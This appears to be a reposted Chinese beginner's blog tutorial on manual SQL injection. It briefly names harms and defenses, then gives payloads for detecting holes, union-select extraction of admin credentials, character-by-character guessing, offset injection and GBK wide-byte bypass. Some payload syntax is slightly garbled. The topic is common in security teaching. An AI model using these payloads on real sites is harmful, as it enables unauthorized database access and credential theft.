zoukankan      html  css  js  c++  java
  • 基础篇——SQL注入(手工注入)

    SQL注入

      当我们学习一个知识时我们要考虑几个问题:是什么?怎么做?然后进行有条理的学习

    是什么?

      首先我们要明白SQL注入是什么:

        sql——结构化查询语言

        SQL注入就是在网站url中插入sql语句,执行sql命令,获取数据库内容,达到欺骗服务器的目的。

      SQL注入的原理:普通用户提交sql查询语句,网站没有对用户输入进行过滤导致执行用户命令

    危害及防护

      危害:SQL注入可以使入侵者获取后台账号密码、拖库、进入后台破坏、拿shell

      防护:设置网站黑名单、限制敏感词汇、对用户输入进行转义、将参数语句化

    怎么做?

      明白什么时SQL注入后我们就要学习如何注入。

      注入的前提是要找到注入漏洞,通常判断是否存在SQL注入漏洞的方法有:

        1、  ‘  单引号判断

        2、 and 1=1 1=2  判断

      找到注入漏洞后就可以进行SQL注入了,注入方法分为很多种:

        联合查询法

        逐字猜解法

        偏移注入法

        宽字节注入

        时间、布尔盲注

        报错注入

      进行注入可以使用手工和工具,手工注入方法:

        1、联合查询法

          首先判断存在注入漏洞后:

            1、使用order by

            2、使用联合查询语句:union select nums,nums(字段数) from admin(数据库表名)

                             

            3、根据返回内容进一步猜解列名:账号密码

                                                                               

        2、逐字猜解法:

          逐字猜解不需要进行猜解字段,直接使用逐字猜解语句猜解库名、列名以及账号密码

          逐字猜解语句:

                 and exists (select * from 表名)

                      and exists (select  列名  from 表名)

                      and (select top 1 len(用户名) from admin ) =名字长度

                      and (select top 1 asc(mid用户名,1,1)from admin )=97  (判断第一位的ascll值)

                 and (select top 1 asc(mid用户名,2,1)from admin )=97  (第二位)

          逐字猜解方法偏于繁琐,熟悉手工注入方式即可,在渗透测试过程中还是要讲究效率问题    

        3、偏移注入法:

          偏移注入属于无法猜解账号密码后尝试的使用方法,注入结果带有一点运气的成分

          偏移注入语句:

            order by 猜解字段

            union select num,num,num from 表名

            union select num,num,* from admin 逐个递减字段数,当可以正常访问则证明admin表存在(递减字段数假设为x)个字段

            之后每次递减x个字段

            递减一个x后

            union select num * from(admin as ainner join admin as b on a.id=b.id)

            递减两个x后

            union select num * from ((admin in as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)

            逐个递减直到所剩字段小于x后(不一定可以得到所要结果)

        4、宽字节注入法:

          什么时候使用宽字节呢?当web编码使用GBK时,可以将单引号转义则使用宽字节注入

          宽字节注入:%df (注入语句)%23

        5、报错注入,盲注则根据页面返回情况,返回时间进行注入

      以上即为常用的几种手工注入方式,如有错误请留言,博主及时更正!

  • 相关阅读:
    LeetCode "Median of Two Sorted Arrays"
    LeetCode "Distinct Subsequences"
    LeetCode "Permutation Sequence"

    LeetCode "Linked List Cycle II"
    LeetCode "Best Time to Buy and Sell Stock III"
    LeetCode "4Sum"
    LeetCode "3Sum closest"
    LeetCode "3Sum"
    LeetCode "Container With Most Water"
  • 原文地址:https://www.cnblogs.com/twlr/p/12287141.html
Copyright © 2011-2022 走看看